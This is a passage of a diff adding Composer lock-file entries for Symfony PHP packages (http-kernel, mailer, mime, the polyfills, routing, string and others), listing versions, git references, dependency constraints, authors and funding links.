"<6.4", + "symfony/dependency-injection": "<6.4", + "symfony/doctrine-bridge": "<6.4", + "symfony/flex": "<2.10", + "symfony/form": "<6.4", + "symfony/http-client": "<6.4", + "symfony/http-client-contracts": "<2.5", + "symfony/mailer": "<6.4", + "symfony/messenger": "<6.4", + "symfony/translation": "<6.4", + "symfony/translation-contracts": "<2.5", + "symfony/twig-bridge": "<6.4", + "symfony/validator": "<6.4", + "symfony/var-dumper": "<6.4", + "twig/twig": "<3.12" + }, + "provide": { + "psr/log-implementation": "1.0|2.0|3.0" + }, + "require-dev": { + "psr/cache": "^1.0|^2.0|^3.0", + "symfony/browser-kit": "^6.4|^7.0|^8.0", + "symfony/clock": "^6.4|^7.0|^8.0", + "symfony/config": "^6.4|^7.0|^8.0", + "symfony/console": "^6.4|^7.0|^8.0", + "symfony/css-selector": "^6.4|^7.0|^8.0", + "symfony/dependency-injection": "^6.4.1|^7.0.1|^8.0", + "symfony/dom-crawler": "^6.4|^7.0|^8.0", + "symfony/expression-language": "^6.4|^7.0|^8.0", + "symfony/finder": "^6.4|^7.0|^8.0", + "symfony/http-client-contracts": "^2.5|^3", + "symfony/process": "^6.4|^7.0|^8.0", + "symfony/property-access": "^7.1|^8.0", + "symfony/routing": "^6.4|^7.0|^8.0", + "symfony/serializer": "^7.1|^8.0", + "symfony/stopwatch": "^6.4|^7.0|^8.0", + "symfony/translation": "^6.4|^7.0|^8.0", + "symfony/translation-contracts": "^2.5|^3", + "symfony/uid": "^6.4|^7.0|^8.0", + "symfony/validator": "^6.4|^7.0|^8.0", + "symfony/var-dumper": "^6.4|^7.0|^8.0", + "symfony/var-exporter": "^6.4|^7.0|^8.0", + "twig/twig": "^3.12" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\HttpKernel\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Provides a structured process for converting a Request into a Response", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/http-kernel/tree/v7.4.14" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://github.com/nicolas-grekas", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2026-06-27T09:14:35+00:00" + }, + { + "name": "symfony/mailer", + "version": "v7.4.14", + "source": { + "type": "git", + "url": "https://github.com/symfony/mailer.git", + "reference": "f88ce03ae73e3edb5c176ce1f337709996e88495" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/mailer/zipball/f88ce03ae73e3edb5c176ce1f337709996e88495", + "reference": "f88ce03ae73e3edb5c176ce1f337709996e88495", + "shasum": "" + }, + "require": { + "egulias/email-validator": "^2.1.10|^3|^4", + "php": ">=8.2", + "psr/event-dispatcher": "^1", + "psr/log": "^1|^2|^3", + "symfony/event-dispatcher": "^6.4|^7.0|^8.0", + "symfony/mime": "^7.2|^8.0", + "symfony/service-contracts": "^2.5|^3" + }, + "conflict": { + "symfony/http-client-contracts": "<2.5", + "symfony/http-kernel": "<6.4", + "symfony/messenger": "<6.4", + "symfony/mime": "<6.4", + "symfony/twig-bridge": "<6.4" + }, + "require-dev": { + "symfony/console": "^6.4|^7.0|^8.0", + "symfony/http-client": "^6.4|^7.0|^8.0", + "symfony/messenger": "^6.4|^7.0|^8.0", + "symfony/twig-bridge": "^6.4|^7.0|^8.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\Mailer\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Helps sending emails", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/mailer/tree/v7.4.14" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://github.com/nicolas-grekas", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2026-06-13T08:51:35+00:00" + }, + { + "name": "symfony/mime", + "version": "v7.4.13", + "source": { + "type": "git", + "url": "https://github.com/symfony/mime.git", + "reference": "a845722765c4f6b2ce88beaf4f4479975b186770" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/mime/zipball/a845722765c4f6b2ce88beaf4f4479975b186770", + "reference": "a845722765c4f6b2ce88beaf4f4479975b186770", + "shasum": "" + }, + "require": { + "php": ">=8.2", + "symfony/deprecation-contracts": "^2.5|^3", + "symfony/polyfill-intl-idn": "^1.10", + "symfony/polyfill-mbstring": "^1.0" + }, + "conflict": { + "egulias/email-validator": "~3.0.0", + "phpdocumentor/reflection-docblock": "<5.2|>=7", + "phpdocumentor/type-resolver": "<1.5.1", + "symfony/mailer": "<6.4", + "symfony/serializer": "<6.4.3|>7.0,<7.0.3" + }, + "require-dev": { + "egulias/email-validator": "^2.1.10|^3.1|^4", + "league/html-to-markdown": "^5.0", + "phpdocumentor/reflection-docblock": "^5.2|^6.0", + "symfony/dependency-injection": "^6.4|^7.0|^8.0", + "symfony/process": "^6.4|^7.0|^8.0", + "symfony/property-access": "^6.4|^7.0|^8.0", + "symfony/property-info": "^6.4|^7.0|^8.0", + "symfony/serializer": "^6.4.3|^7.0.3|^8.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\Mime\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Allows manipulating MIME messages", + "homepage": "https://symfony.com", + "keywords": [ + "mime", + "mime-type" + ], + "support": { + "source": "https://github.com/symfony/mime/tree/v7.4.13" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://github.com/nicolas-grekas", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2026-05-23T16:22:37+00:00" + }, + { + "name": "symfony/polyfill-ctype", + "version": "v1.37.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-ctype.git", + "reference": "141046a8f9477948ff284fa65be2095baafb94f2" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/141046a8f9477948ff284fa65be2095baafb94f2", + "reference": "141046a8f9477948ff284fa65be2095baafb94f2", + "shasum": "" + }, + "require": { + "php": ">=7.2" + }, + "provide": { + "ext-ctype": "*" + }, + "suggest": { + "ext-ctype": "For best performance" + }, + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/polyfill", + "name": "symfony/polyfill" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Ctype\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Gert de Pagter", + "email": "BackEndTea@gmail.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill for ctype functions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "ctype", + "polyfill", + "portable" + ], + "support": { + "source": "https://github.com/symfony/polyfill-ctype/tree/v1.37.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://github.com/nicolas-grekas", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2026-04-10T16:19:22+00:00" + }, + { + "name": "symfony/polyfill-intl-grapheme", + "version": "v1.38.1", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-intl-grapheme.git", + "reference": "e9247d281d694a5120554d9afaf54e070e88a603" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-intl-grapheme/zipball/e9247d281d694a5120554d9afaf54e070e88a603", + "reference": "e9247d281d694a5120554d9afaf54e070e88a603", + "shasum": "" + }, + "require": { + "php": ">=7.2" + }, + "suggest": { + "ext-intl": "For best performance" + }, + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/polyfill", + "name": "symfony/polyfill" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Intl\\Grapheme\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill for intl's grapheme_* functions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "grapheme", + "intl", + "polyfill", + "portable", + "shim" + ], + "support": { + "source": "https://github.com/symfony/polyfill-intl-grapheme/tree/v1.38.1" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://github.com/nicolas-grekas", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2026-05-26T05:58:03+00:00" + }, + { + "name": "symfony/polyfill-intl-idn", + "version": "v1.38.1", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-intl-idn.git", + "reference": "dc21118016c039a66235cf93d96b435ffb282412" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-intl-idn/zipball/dc21118016c039a66235cf93d96b435ffb282412", + "reference": "dc21118016c039a66235cf93d96b435ffb282412", + "shasum": "" + }, + "require": { + "php": ">=7.2", + "symfony/polyfill-intl-normalizer": "^1.10" + }, + "suggest": { + "ext-intl": "For best performance" + }, + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/polyfill", + "name": "symfony/polyfill" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Intl\\Idn\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Laurent Bassin", + "email": "laurent@bassin.info" + }, + { + "name": "Trevor Rowbotham", + "email": "trevor.rowbotham@pm.me" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill for intl's idn_to_ascii and idn_to_utf8 functions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "idn", + "intl", + "polyfill", + "portable", + "shim" + ], + "support": { + "source": "https://github.com/symfony/polyfill-intl-idn/tree/v1.38.1" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://github.com/nicolas-grekas", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2026-05-25T15:22:23+00:00" + }, + { + "name": "symfony/polyfill-intl-normalizer", + "version": "v1.38.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-intl-normalizer.git", + "reference": "2d446c214bdbe5b71bde5011b060a05fece3ae6b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/2d446c214bdbe5b71bde5011b060a05fece3ae6b", + "reference": "2d446c214bdbe5b71bde5011b060a05fece3ae6b", + "shasum": "" + }, + "require": { + "php": ">=7.2" + }, + "suggest": { + "ext-intl": "For best performance" + }, + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/polyfill", + "name": "symfony/polyfill" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Intl\\Normalizer\\": "" + }, + "classmap": [ + "Resources/stubs" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill for intl's Normalizer class and related functions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "intl", + "normalizer", + "polyfill", + "portable", + "shim" + ], + "support": { + "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.38.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://github.com/nicolas-grekas", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2026-05-25T13:48:31+00:00" + }, + { + "name": "symfony/polyfill-mbstring", + "version": "v1.38.2", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-mbstring.git", + "reference": "d3d318bad5e7a1bfbd026009c8bfb8d8f99ae6b6" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/d3d318bad5e7a1bfbd026009c8bfb8d8f99ae6b6", + "reference": "d3d318bad5e7a1bfbd026009c8bfb8d8f99ae6b6", + "shasum": "" + }, + "require": { + "ext-iconv": "*", + "php": ">=7.2" + }, + "provide": { + "ext-mbstring": "*" + }, + "suggest": { + "ext-mbstring": "For best performance" + }, + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/polyfill", + "name": "symfony/polyfill" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Mbstring\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill for the Mbstring extension", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "mbstring", + "polyfill", + "portable", + "shim" + ], + "support": { + "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.38.2" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://github.com/nicolas-grekas", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2026-05-27T06:59:30+00:00" + }, + { + "name": "symfony/polyfill-php80", + "version": "v1.37.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-php80.git", + "reference": "dfb55726c3a76ea3b6459fcfda1ec2d80a682411" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-php80/zipball/dfb55726c3a76ea3b6459fcfda1ec2d80a682411", + "reference": "dfb55726c3a76ea3b6459fcfda1ec2d80a682411", + "shasum": "" + }, + "require": { + "php": ">=7.2" + }, + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/polyfill", + "name": "symfony/polyfill" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Php80\\": "" + }, + "classmap": [ + "Resources/stubs" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Ion Bazan", + "email": "ion.bazan@gmail.com" + }, + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill backporting some PHP 8.0+ features to lower PHP versions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "polyfill", + "portable", + "shim" + ], + "support": { + "source": "https://github.com/symfony/polyfill-php80/tree/v1.37.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://github.com/nicolas-grekas", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2026-04-10T16:19:22+00:00" + }, + { + "name": "symfony/polyfill-php83", + "version": "v1.38.2", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-php83.git", + "reference": "796a26abb75ce49f3a84433cd81bf1009d73d5f8" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-php83/zipball/796a26abb75ce49f3a84433cd81bf1009d73d5f8", + "reference": "796a26abb75ce49f3a84433cd81bf1009d73d5f8", + "shasum": "" + }, + "require": { + "php": ">=7.2" + }, + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/polyfill", + "name": "symfony/polyfill" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Php83\\": "" + }, + "classmap": [ + "Resources/stubs" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill backporting some PHP 8.3+ features to lower PHP versions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "polyfill", + "portable", + "shim" + ], + "support": { + "source": "https://github.com/symfony/polyfill-php83/tree/v1.38.2" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://github.com/nicolas-grekas", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2026-05-27T06:51:48+00:00" + }, + { + "name": "symfony/polyfill-php84", + "version": "v1.38.1", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-php84.git", + "reference": "f4e1dfaee5b74aba5964fe1fd4dfc7ba5e3085fa" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-php84/zipball/f4e1dfaee5b74aba5964fe1fd4dfc7ba5e3085fa", + "reference": "f4e1dfaee5b74aba5964fe1fd4dfc7ba5e3085fa", + "shasum": "" + }, + "require": { + "php": ">=7.2" + }, + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/polyfill", + "name": "symfony/polyfill" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Php84\\": "" + }, + "classmap": [ + "Resources/stubs" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill backporting some PHP 8.4+ features to lower PHP versions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "polyfill", + "portable", + "shim" + ], + "support": { + "source": "https://github.com/symfony/polyfill-php84/tree/v1.38.1" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://github.com/nicolas-grekas", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2026-05-26T12:51:13+00:00" + }, + { + "name": "symfony/polyfill-php85", + "version": "v1.38.1", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-php85.git", + "reference": "ba2ba04f3352cfa2dcbbcb90aee13ed967f505b1" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-php85/zipball/ba2ba04f3352cfa2dcbbcb90aee13ed967f505b1", + "reference": "ba2ba04f3352cfa2dcbbcb90aee13ed967f505b1", + "shasum": "" + }, + "require": { + "php": ">=7.2" + }, + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/polyfill", + "name": "symfony/polyfill" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Php85\\": "" + }, + "classmap": [ + "Resources/stubs" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill backporting some PHP 8.5+ features to lower PHP versions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "polyfill", + "portable", + "shim" + ], + "support": { + "source": "https://github.com/symfony/polyfill-php85/tree/v1.38.1" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://github.com/nicolas-grekas", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2026-05-26T02:25:22+00:00" + }, + { + "name": "symfony/polyfill-uuid", + "version": "v1.37.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-uuid.git", + "reference": "26dfec253c4cf3e51b541b52ddf7e42cb0908e94" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-uuid/zipball/26dfec253c4cf3e51b541b52ddf7e42cb0908e94", + "reference": "26dfec253c4cf3e51b541b52ddf7e42cb0908e94", + "shasum": "" + }, + "require": { + "php": ">=7.2" + }, + "provide": { + "ext-uuid": "*" + }, + "suggest": { + "ext-uuid": "For best performance" + }, + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/polyfill", + "name": "symfony/polyfill" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Uuid\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Grégoire Pineau", + "email": "lyrixx@lyrixx.info" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill for uuid functions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "polyfill", + "portable", + "uuid" + ], + "support": { + "source": "https://github.com/symfony/polyfill-uuid/tree/v1.37.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://github.com/nicolas-grekas", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2026-04-10T16:19:22+00:00" + }, + { + "name": "symfony/process", + "version": "v7.4.13", + "source": { + "type": "git", + "url": "https://github.com/symfony/process.git", + "reference": "f5804be144caceb570f6747519999636b664f24c" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/process/zipball/f5804be144caceb570f6747519999636b664f24c", + "reference": "f5804be144caceb570f6747519999636b664f24c", + "shasum": "" + }, + "require": { + "php": ">=8.2" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\Process\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Executes commands in sub-processes", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/process/tree/v7.4.13" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://github.com/nicolas-grekas", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2026-05-23T16:05:06+00:00" + }, + { + "name": "symfony/routing", + "version": "v7.4.13", + "source": { + "type": "git", + "url": "https://github.com/symfony/routing.git", + "reference": "3a162171bb008e5e0f15dce6581373a4c0e8390d" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/routing/zipball/3a162171bb008e5e0f15dce6581373a4c0e8390d", + "reference": "3a162171bb008e5e0f15dce6581373a4c0e8390d", + "shasum": "" + }, + "require": { + "php": ">=8.2", + "symfony/deprecation-contracts": "^2.5|^3" + }, + "conflict": { + "symfony/config": "<6.4", + "symfony/dependency-injection": "<6.4", + "symfony/yaml": "<6.4" + }, + "require-dev": { + "psr/log": "^1|^2|^3", + "symfony/config": "^6.4|^7.0|^8.0", + "symfony/dependency-injection": "^6.4|^7.0|^8.0", + "symfony/expression-language": "^6.4|^7.0|^8.0", + "symfony/http-foundation": "^6.4|^7.0|^8.0", + "symfony/yaml": "^6.4|^7.0|^8.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\Routing\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Maps an HTTP request to a set of configuration variables", + "homepage": "https://symfony.com", + "keywords": [ + "router", + "routing", + "uri", + "url" + ], + "support": { + "source": "https://github.com/symfony/routing/tree/v7.4.13" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://github.com/nicolas-grekas", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2026-05-24T11:20:33+00:00" + }, + { + "name": "symfony/service-contracts", + "version": "v3.7.1", + "source": { + "type": "git", + "url": "https://github.com/symfony/service-contracts.git", + "reference": "c0a284bab1ed8aa0417e3d69250ab437739563a0" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/service-contracts/zipball/c0a284bab1ed8aa0417e3d69250ab437739563a0", + "reference": "c0a284bab1ed8aa0417e3d69250ab437739563a0", + "shasum": "" + }, + "require": { + "php": ">=8.1", + "psr/container": "^1.1|^2.0", + "symfony/deprecation-contracts": "^2.5|^3" + }, + "conflict": { + "ext-psr": "<1.1|>=2" + }, + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/contracts", + "name": "symfony/contracts" + }, + "branch-alias": { + "dev-main": "3.7-dev" + } + }, + "autoload": { + "psr-4": { + "Symfony\\Contracts\\Service\\": "" + }, + "exclude-from-classmap": [ + "/Test/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Generic abstractions related to writing services", + "homepage": "https://symfony.com", + "keywords": [ + "abstractions", + "contracts", + "decoupling", + "interfaces", + "interoperability", + "standards" + ], + "support": { + "source": "https://github.com/symfony/service-contracts/tree/v3.7.1" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://github.com/nicolas-grekas", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2026-06-16T09:55:08+00:00" + }, + { + "name": "symfony/string", + "version": "v8.1.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/string.git", + "reference": "afd5944f4005862d961efb85c8bbd5c523c4e3c9" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/string/zipball/afd5944f4005862d961efb85c8bbd5c523c4e3c9", + "reference": "afd5944f4005862d961efb85c8bbd5c523c4e3c9", + "shasum": "" + }, + "require": { + "php": ">=8.4.1", + "symfony/polyfill-ctype": "^1.8", + "symfony/polyfill-intl-grapheme": "^1.33", + "symfony/polyfill-intl-normalizer": "^1.0", + "symfony/polyfill-mbstring": "^1.0" + }, + "conflict": { + "symfony/translation-contracts": "<2.5" + }, + "require-dev": { + "symfony/emoji": "^7.4|^8.0", + "symfony/http-client": "^7.4|^8.0", + "symfony/intl": "^7.4|^8.0", + "symfony/translation-contracts": "^2.5|^3.0", + "symfony/var-exporter": "^7.4|^8.0" + }, + "type": "library", + "autoload": { + "files": [ + "Resources/functions.php" + ], + "psr-4": { + "Symfony\\Component\\String\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Provides an object-oriented API to strings and deals with bytes, UTF-8 code points and grapheme clusters in a unified way", + "homepage": "https://symfony.com", + "keywords": [ + "grapheme", + "i18n", + "string", + "unicode", + "utf-8", + "utf8" + ], + "support": { + "source": "https://github.com/symfony/string/tree/v8.1.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": 